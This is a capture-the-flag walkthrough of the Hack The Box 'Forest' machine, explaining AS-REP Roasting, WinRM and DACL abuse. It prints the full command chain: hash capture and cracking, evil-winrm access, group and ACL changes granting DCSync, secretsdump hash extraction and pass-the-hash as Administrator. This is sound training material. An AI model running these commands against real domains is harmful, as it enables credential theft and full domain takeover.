So, what exactly is AS-REP Roasting? Well, it deals with the Kerberos process and how a user account has been configured in Active Directory. Kerberos works by a client requesting authentication from the Key Distribution Center (KDC). The KDC is a trusted component of a domain controller that is responsible for authenticating users and issuing Kerberos tickets.

The user requests a ticket-granting ticket. The KDC verifies the user’s identity and provides a ticket granting ticket and session key. The key is encrypted using a key based derived from the user’s password. For AS-REP roasting, this is as far as we need to go with the Kerberos process.

When setting up users in Active Directory, there is an option for pre-authentication. Pre-authentication requires that the client verifies it knows the password before the server provides the ticket granting ticket. When that is disabled, the server doesn’t do any verification and simply replies to the attacking machine with data encrypted using the user’s key. This allows an attacker to capture that data and attempt to crack it offline to recover the user’s password. AS-REP Roasting takes advantage of this process.

Having a basic idea of what AS-REP roasting is now, I investigated the process of utilizing this flaw in an attack. My investigation led to using netexec to perform an AS-REP Roast. The command I used was:

sudo netexec ldap [DC IP] -u users.txt -p ‘’ — asreproast hashes.txt — verbose — kdc [DC IP]

That successfully gathered a hash for the user svc-alfresco. From there, I threw the hash into hashcat and cracked the password. The command I used for hashcat was:

hashcat -m 18200 -a 0 -o cracked.txt hashes.txt /usr/share/wordlists/rockyou.txt

Next Steps

Alright, I have credentials. Now what? I started over with checking SMB with my newly acquired credentials. The command I used was

smbclient \\\\[IP]\[share] -U htb/svc-alfresco — option ‘client min protocol=SMB2’

I tried for each of the shares available and still didn’t have permission. I tried a couple of others things to no avail. After some assistance in brainstorming coughAIcough, port 5985 came into play. As I mentioned earlier, I didn’t know at the time but that port could be abused as it is WinRM.

WinRM

What is WinRM? It is a service that Windows utilizes that allows remote commands to be executed. This allows you to manage Windows systems remotely without having physical access to them. If you’re familiar with SSH and Linux, then this is the Window’s version of that. WinRM typically runs on port 5985, for HTTP, and 5986, for HTTPS.

After looking into ways to abuse WinRM, I came across a tool called evil-winrm. This tool allows you to connect to WinRM from the attacking machine. To successfully use evil-winrm, you need to have WinRM open (I did), have valid credentials (I do now), and the target must allow authentication. Knowing that I have the requirements, I gave it a shot. I used the following command

evil-winrm -i 10.129.95.210 -u svc-alfresco -p [PASSWORD]

I was now in and had gained a foothold. Since this is a CTF, I immediately went and captured the user flag.

DACL

I’ve captured the flag, great, now what? Well, it’s time to gain admin and finish the box. Reaching into my Windows privilege escalation notes, I tried a few things but got nowhere with them. Since I’m still new, I took a hint from the box. It mentioned write permissions on the DACL. What is a DACL? DACL stands for Discretionary Access Control List. At a basic level, it controls what an entity has access to. It utilizes access control entries (ACEs). ACEs define whether a user or group is allowed or denied access. If no ACE is present, access is denied by default.

So how do we abuse this? If you have write permissions, you can modify the DACL permissions that can lead to privilege escalation. This can be done by adding users to a privileged group or granting replication permission.

Enumeration

So how can we enumerate for write permissions on the DACL? I tried two ways: BloodHound and Impacket. I’ll admit, I haven’t had the best luck using BloodHound since it updated to the Community Edition. This was a good way to continue to work on wrapping my mind around it.

BloodHound

If you’re not familiar with what BloodHound is, it is a great tool for mapping Active Directory. Once you have a set of valid credentials, you can use those to map the AD environment, see how things are connected and what potential vulnerabilities there are. There are a few steps to get things set up, collect data and visualize it, but I’m going to skip over those.

I collected the data from the target machine, thanks to evil-winrm, and imported it into BloodHound. I started with the compromised account and saw that it is a member of the privileged IT accounts group and account operators group. Through the operator group, our user has permissions to create and add users to groups.

Domain Takeover

Since I know I can add users to groups, I decided to go down that path. I added my compromised user to the Exchange Windows Permissions group by using the following command

net rpc group addmem “Exchange Windows Permissions” SVC-ALFRESCO -U “HTB.LOCAL/SVC-ALFRESCO%s3rvice” -S 10.129.95.210

This group can modify ACLs within Active Directory. I then used a tool called PowerView and ran it on the remote machine.

PowerView, in this case, modified the AD ACLs. This allows me to set up the compromised account to perform a DCSync attack, which replicates the AD environment to my machine. During the replication, the hashes of users are sent to my machine.

I ran the following command to utilize PowerView and add DCSync permissions to my user:

$username = “htb\svc-alfresco”;
$password = "s3rvice";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object System.Management.Automation.PSCredential($username, $secstr);
Add-DomainObjectAcl -Credential $cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync

To run a DCSync, I use the following command on my attacking machine:

impacket-secretsdump HTB.LOCAL/SVC-ALFRESCO:s3rvice@FOREST.htb.local

And with that I have the hash for the domain admin. From there I’m able to use the hash to get into the domain controller.

evil-winrm -i 10.129.95.210 -u Administrator -H [HASH]

From there, I was able to full compromise the domain and capture the flag.

Conclusion

Overall, I needed a good amount of assistance on this box. I had never enumerated LDAP or modified DACLs before. I’ve updated my notes so I’ll be more prepared to identify attack paths and use similar techniques in the future.